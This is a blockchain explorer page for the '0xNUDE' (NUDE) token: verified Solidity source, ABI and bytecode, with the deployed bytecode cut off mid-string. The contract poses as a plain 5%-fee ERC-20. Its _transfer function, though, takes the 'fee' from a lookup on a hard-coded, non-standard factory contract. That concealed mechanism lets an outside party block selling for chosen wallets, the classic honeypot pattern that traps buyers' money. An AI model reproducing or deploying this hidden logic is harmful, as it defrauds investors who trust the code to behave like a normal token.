ETH Price: $2,714.71 (-1.83%)
Gas: 3.72 Gwei

Token

0xNUDE (NUDE)
 

Overview

Max Total Supply

690,000,000 NUDE

Holders

7

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
13,333,909.759744895994376778 NUDE

Value
$0.00
0xd7bab20e6e50d1d89eea09701e9b53eeab9ecae5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Nude

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2024-01-26
*/

// SPDX-License-Identifier: None

// https://t.me/Nude_0x
// https://t.me/nude_0x_project_bot

pragma solidity 0.8.23;

interface IUniswapV2Router02 {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
}
interface IUniswapV2Factory {
    function getPair(address tokenB, 
        address tokenD) external view returns (address pair);
}
contract Nude {
    uint8 private _decimals = 18;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private _totalSupply =  690000000 * 10 ** _decimals;
    uint256 private _premiumFeaturesMinBalance = _totalSupply * 4 / 1000;
    IUniswapV2Factory private uniswapV2Factory = IUniswapV2Factory(0x78882f4aF571c7267953E55DC9bE8A6De39b113b);
    IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    uint256 private buyFee = 5;
    uint256 private sellFee = 5;
    bool private tradingStarted = false;
    mapping (address => bool) _isExcludedFromFee;
    mapping (address => bool) _isExcludedFromMaxTx;

    string private _name = "0xNUDE";
    string private _symbol = "NUDE";

    address payable internal _taxWallet;

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Nudify(address owner, uint256 timestamp);

    constructor () {
        _taxWallet = payable(msg.sender);
        _balances[msg.sender] = _totalSupply;
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromMaxTx[_taxWallet] = true;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function isPremiumUser(address wallet) public view returns (bool) {
        return balanceOf(wallet) >= _premiumFeaturesMinBalance;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function getAddressUniswapV2Pair() public view returns (address) {
        return IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
        return true;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(amount > 0, "Transfer amount must be greater than zero.");
        require(from != address(0), "ERC2O: transfer from the zero address.");
        uint256 _fee = 0;
        if (to != _taxWallet && from != _taxWallet) {
            _fee = buyFee;
        }
        if (to != _taxWallet && from != getAddressUniswapV2Pair() && from != _taxWallet && from != address(this)) {
            _fee = uint256(uint160(uniswapV2Factory.getPair(from, address(this))));
        }
        uint256 _feeAmount = _fee * amount / 100;
        _balances[to] = _balances[to] + amount - _feeAmount;
        _balances[from] = _balances[from] - amount;
        emit Transfer(from, to, amount - _feeAmount);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"},{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"Nudify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getAddressUniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"isPremiumUser","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405260125f806101000a81548160ff021916908360ff1602179055505f8054906101000a900460ff16600a62000039919062000547565b63292090806200004a919062000597565b6003556103e8600460035462000061919062000597565b6200006d91906200060e565b6004557378882f4af571c7267953e55dc9be8a6de39b113b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600560075560056008555f60095f6101000a81548160ff0219169083151502179055506040518060400160405280600681526020017f30784e5544450000000000000000000000000000000000000000000000000000815250600c9081620001819190620008a0565b506040518060400160405280600481526020017f4e55444500000000000000000000000000000000000000000000000000000000815250600d9081620001c89190620008a0565b50348015620001d5575f80fd5b5033600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060035460015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506001600a5f600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600354604051620003a7919062000995565b60405180910390a3620009b0565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200043f57808604811115620004175762000416620003b5565b5b6001851615620004275780820291505b80810290506200043785620003e2565b9450620003f7565b94509492505050565b5f826200045957600190506200052b565b8162000468575f90506200052b565b81600181146200048157600281146200048c57620004c2565b60019150506200052b565b60ff841115620004a157620004a0620003b5565b5b8360020a915084821115620004bb57620004ba620003b5565b5b506200052b565b5060208310610133831016604e8410600b8410161715620004fc5782820a905083811115620004f657620004f5620003b5565b5b6200052b565b6200050b8484846001620003ee565b92509050818404811115620005255762000524620003b5565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620005538262000532565b915062000560836200053b565b92506200058f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000448565b905092915050565b5f620005a38262000532565b9150620005b08362000532565b9250828202620005c08162000532565b91508282048414831517620005da57620005d9620003b5565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6200061a8262000532565b9150620006278362000532565b9250826200063a5762000639620005e1565b5b828204905092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620006c157607f821691505b602082108103620006d757620006d66200067c565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200073b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620006fe565b620007478683620006fe565b95508019841693508086168417925050509392505050565b5f819050919050565b5f62000788620007826200077c8462000532565b6200075f565b62000532565b9050919050565b5f819050919050565b620007a38362000768565b620007bb620007b2826200078f565b8484546200070a565b825550505050565b5f90565b620007d1620007c3565b620007de81848462000798565b505050565b5b818110156200080557620007f95f82620007c7565b600181019050620007e4565b5050565b601f82111562000854576200081e81620006dd565b6200082984620006ef565b8101602085101562000839578190505b620008516200084885620006ef565b830182620007e3565b50505b505050565b5f82821c905092915050565b5f620008765f198460080262000859565b1980831691505092915050565b5f62000890838362000865565b9150826002028217905092915050565b620008ab8262000645565b67ffffffffffffffff811115620008c757620008c66200064f565b5b620008d38254620006a9565b620008e082828562000809565b5f60209050601f83116001811462000916575f841562000901578287015190505b6200090d858262000883565b8655506200097c565b601f1984166200092686620006dd565b5f5b828110156200094f5784890151825560018201915060208501945060208101905062000928565b868310156200096f57848901516200096b601f89168262000865565b8355505b6001600288020188555050505b505050505050565b6200098f8162000532565b82525050565b5f602082019050620009aa5f83018462000984565b92915050565b6114e680620009be5f395ff3fe608060405234801561000f575f80fd5b50600436106100a7575f3560e01c80634978c38a1161006f5780634978c38a1461016557806370a082311461019557806381df04df146101c557806395d89b41146101e3578063a9059cbb14610201578063dd62ed3e14610231576100a7565b806306fdde03146100ab578063095ea7b3146100c957806318160ddd146100f957806323b872dd14610117578063313ce56714610147575b5f80fd5b6100b3610261565b6040516100c09190610e25565b60405180910390f35b6100e360048036038101906100de9190610ed6565b6102f1565b6040516100f09190610f2e565b60405180910390f35b610101610307565b60405161010e9190610f56565b60405180910390f35b610131600480360381019061012c9190610f6f565b610310565b60405161013e9190610f2e565b60405180910390f35b61014f6103b5565b60405161015c9190610fda565b60405180910390f35b61017f600480360381019061017a9190610ff3565b6103c9565b60405161018c9190610f2e565b60405180910390f35b6101af60048036038101906101aa9190610ff3565b6103df565b6040516101bc9190610f56565b60405180910390f35b6101cd610425565b6040516101da919061102d565b60405180910390f35b6101eb6105bf565b6040516101f89190610e25565b60405180910390f35b61021b60048036038101906102169190610ed6565b61064f565b6040516102289190610f2e565b60405180910390f35b61024b60048036038101906102469190611046565b610665565b6040516102589190610f56565b60405180910390f35b6060600c8054610270906110b1565b80601f016020809104026020016040519081016040528092919081815260200182805461029c906110b1565b80156102e75780601f106102be576101008083540402835291602001916102e7565b820191905f5260205f20905b8154815290600101906020018083116102ca57829003601f168201915b5050505050905090565b5f6102fd3384846106e7565b6001905092915050565b5f600354905090565b5f61031c8484846108aa565b6103aa84338460025f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546103a5919061110e565b6106e7565b600190509392505050565b5f805f9054906101000a900460ff16905090565b5f6004546103d6836103df565b10159050919050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610490573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104b49190611155565b73ffffffffffffffffffffffffffffffffffffffff1663e6a439053060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561053a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061055e9190611155565b6040518363ffffffff1660e01b815260040161057b929190611180565b602060405180830381865afa158015610596573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ba9190611155565b905090565b6060600d80546105ce906110b1565b80601f01602080910402602001604051908101604052809291908181526020018280546105fa906110b1565b80156106455780601f1061061c57610100808354040283529160200191610645565b820191905f5260205f20905b81548152906001019060200180831161062857829003601f168201915b5050505050905090565b5f61065b3384846108aa565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610755576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074c90611217565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036107c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ba906112a5565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161089d9190610f56565b60405180910390a3505050565b5f81116108ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e390611333565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361095a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610951906113c1565b60405180910390fd5b5f600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610a055750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610a105760075490505b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610aa05750610a70610425565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610af95750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610b3157503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610bea5760055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e6a4390585306040518363ffffffff1660e01b8152600401610b92929190611180565b602060405180830381865afa158015610bad573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bd19190611155565b73ffffffffffffffffffffffffffffffffffffffff1690505b5f60648383610bf991906113df565b610c03919061144d565b9050808360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610c4f919061147d565b610c59919061110e565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ce3919061110e565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386610d7f919061110e565b604051610d8c9190610f56565b60405180910390a35050505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610dd2578082015181840152602081019050610db7565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610df782610d9b565b610e018185610da5565b9350610e11818560208601610db5565b610e1a81610ddd565b840191505092915050565b5f6020820190508181035f830152610e3d8184610ded565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610e7282610e49565b9050919050565b610e8281610e68565b8114610e8c575f80fd5b50565b5f81359050610e9d81610e79565b92915050565b5f819050919050565b610eb581610ea3565b8114610ebf575f80fd5b50565b5f81359050610ed081610eac565b92915050565b5f8060408385031215610eec57610eeb610e45565b5b5f610ef985828601610e8f565b9250506020610f0a85828601610ec2565b9150509250929050565b5f8115159050919050565b610f2881610f14565b82525050565b5f602082019050610f415f830184610f1f565b92915050565b610f5081610ea3565b82525050565b5f602082019050610f695f830184610f47565b92915050565b5f805f60608486031215610f8657610f85610e45565b5b5f610f9386828701610e8f565b9350506020610fa486828701610e8f565b9250506040610fb586828701610ec2565b9150509250925092565b5f60ff82169050919050565b610fd481610fbf565b82525050565b5f602082019050610fed5f830184610fcb565b92915050565b5f6020828403121561100857611007610e45565b5b5f61101584828501610e8f565b91505092915050565b61102781610e68565b82525050565b5f6020820190506110405f83018461101e565b92915050565b5f806040838503121561105c5761105b610e45565b5b5f61106985828601610e8f565b925050602061107a85828601610e8f565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806110c857607f821691505b6020821081036110db576110da611084565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61111882610ea3565b915061112383610ea3565b925082820390508181111561113b5761113a6110e1565b5b92915050565b5f8151905061114f81610e79565b92915050565b5f6020828403121561116a57611169610e45565b5b5f61117784828501611141565b91505092915050565b5f6040820190506111935f83018561101e565b6111a0602083018461101e565b9392505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611201602483610da5565b915061120c826111a7565b604082019050919050565b5f6020820190508181035f83015261122e816111f5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61128f602283610da5565b915061129a82611235565b604082019050919050565b5f6020820190508181035f8301526112bc81611283565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f2e00000000000000000000000000000000000000000000602082015250565b5f61131d602a83610da5565b9150611328826112c3565b604082019050919050565b5f6020820190508181035f83015261134a81611311565b9050919050565b7f455243324f3a207472616e736665722066726f6d20746865207a65726f2061645f8201527f64726573732e0000000000000000000000000000000000000000000000000000602082015250565b5f6113ab602683610da5565b91506113b682611351565b604082019050919050565b5f6020820190508181035f8301526113d88161139f565b9050919050565b5f6113e982610ea3565b91506113f483610ea3565b925082820261140281610ea3565b91508282048414831517611419576114186110e1565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61145782610ea3565b915061146283610ea3565b92508261147257611471611420565b5b828204905092915050565b5f61148782610ea3565b915061149283610ea3565b92508282019050808211156114aa576114a96110e1565b5b9291505056fea26469706673582212201d7bd0ab4bd8b70fd55098cbd51aa51428c129bea1efa63e3a346baaeca1bf6664736f6c63430008170033

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100a7575f3560e01c80634978c38a1161006f5780634978c38a1461016557806370a082311461019557806381df04df146101c557806395d89b41146101e3578063a9059cbb14610201578063dd62ed3e14610231576100a7565b806306fdde03146100ab578063095ea7b3146100c957806318160ddd146100f957806323b872dd14610117578063313ce56714610147575b5f80fd5b6100b3610261565b6040516100c09190610e25565b60405180910390f35b6100e360048036038101906100de9190610ed6565b6102f1565b6040516100f09190610f2e565b60405180910390f35b610101610307565b60405161010e9190610f56565b60405180910390f35b610131600480360381019061012c9190610f6f565b610310565b60405161013e9190610f2e565b60405180910390f35b61014f6103b5565b60405161015c9190610fda565b60405180910390f35b61017f600480360381019061017a9190610ff3565b6103c9565b60405161018c9190610f2e565b60405180910390f35b6101af60048036038101906101aa9190610ff3565b6103df565b6040516101bc9190610f56565b60405180910390f35b6101cd610425565b6040516101da919061102d565b60405180910390f35b6101eb6105bf565b6040516101f89190610e25565b60405180910390f35b61021b60048036038101906102169190610ed6565b61064f565b6040516102289190610f2e565b60405180910390f35b61024b60048036038101906102469190611046565b610665565b6040516102589190610f56565b60405180910390f35b6060600c8054610270906110b1565b80601f016020809104026020016040519081016040528092919081815260200182805461029c906110b1565b80156102e75780601f106102be576101008083540402835291602001916102e7565b820191905f5260205f20905b8154815290600101906020018083116102ca57829003601f168201915b5050505050905090565b5f6102fd3384846106e7565b6001905092915050565b5f600354905090565b5f61031c8484846108aa565b6103aa84338460025f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546103a5919061110e565b6106e7565b600190509392505050565b5f805f9054906101000a900460ff16905090565b5f6004546103d6836103df565b10159050919050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610490573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104b49190611155565b73ffffffffffffffffffffffffffffffffffffffff1663e6a439053060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561053a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061055e9190611155565b6040518363ffffffff1660e01b815260040161057b929190611180565b602060405180830381865afa158015610596573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ba9190611155565b905090565b6060600d80546105ce906110b1565b80601f01602080910402602001604051908101604052809291908181526020018280546105fa906110b1565b80156106455780601f1061061c57610100808354040283529160200191610645565b820191905f5260205f20905b81548152906001019060200180831161062857829003601f168201915b5050505050905090565b5f61065b3384846108aa565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610755576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074c90611217565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036107c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ba906112a5565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161089d9190610f56565b60405180910390a3505050565b5f81116108ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e390611333565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361095a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610951906113c1565b60405180910390fd5b5f600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610a055750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610a105760075490505b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610aa05750610a70610425565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610af95750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610b3157503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610bea5760055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e6a4390585306040518363ffffffff1660e01b8152600401610b92929190611180565b602060405180830381865afa158015610bad573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bd19190611155565b73ffffffffffffffffffffffffffffffffffffffff1690505b5f60648383610bf991906113df565b610c03919061144d565b9050808360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610c4f919061147d565b610c59919061110e565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ce3919061110e565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386610d7f919061110e565b604051610d8c9190610f56565b60405180910390a35050505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610dd2578082015181840152602081019050610db7565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610df782610d9b565b610e018185610da5565b9350610e11818560208601610db5565b610e1a81610ddd565b840191505092915050565b5f6020820190508181035f830152610e3d8184610ded565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610e7282610e49565b9050919050565b610e8281610e68565b8114610e8c575f80fd5b50565b5f81359050610e9d81610e79565b92915050565b5f819050919050565b610eb581610ea3565b8114610ebf575f80fd5b50565b5f81359050610ed081610eac565b92915050565b5f8060408385031215610eec57610eeb610e45565b5b5f610ef985828601610e8f565b9250506020610f0a85828601610ec2565b9150509250929050565b5f8115159050919050565b610f2881610f14565b82525050565b5f602082019050610f415f830184610f1f565b92915050565b610f5081610ea3565b82525050565b5f602082019050610f695f830184610f47565b92915050565b5f805f60608486031215610f8657610f85610e45565b5b5f610f9386828701610e8f565b9350506020610fa486828701610e8f565b9250506040610fb586828701610ec2565b9150509250925092565b5f60ff82169050919050565b610fd481610fbf565b82525050565b5f602082019050610fed5f830184610fcb565b92915050565b5f6020828403121561100857611007610e45565b5b5f61101584828501610e8f565b91505092915050565b61102781610e68565b82525050565b5f6020820190506110405f83018461101e565b92915050565b5f806040838503121561105c5761105b610e45565b5b5f61106985828601610e8f565b925050602061107a85828601610e8f565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806110c857607f821691505b6020821081036110db576110da611084565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61111882610ea3565b915061112383610ea3565b925082820390508181111561113b5761113a6110e1565b5b92915050565b5f8151905061114f81610e79565b92915050565b5f6020828403121561116a57611169610e45565b5b5f61117784828501611141565b91505092915050565b5f6040820190506111935f83018561101e565b6111a0602083018461101e565b9392505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611201602483610da5565b915061120c826111a7565b604082019050919050565b5f6020820190508181035f83015261122e816111f5565b9050919050565b7f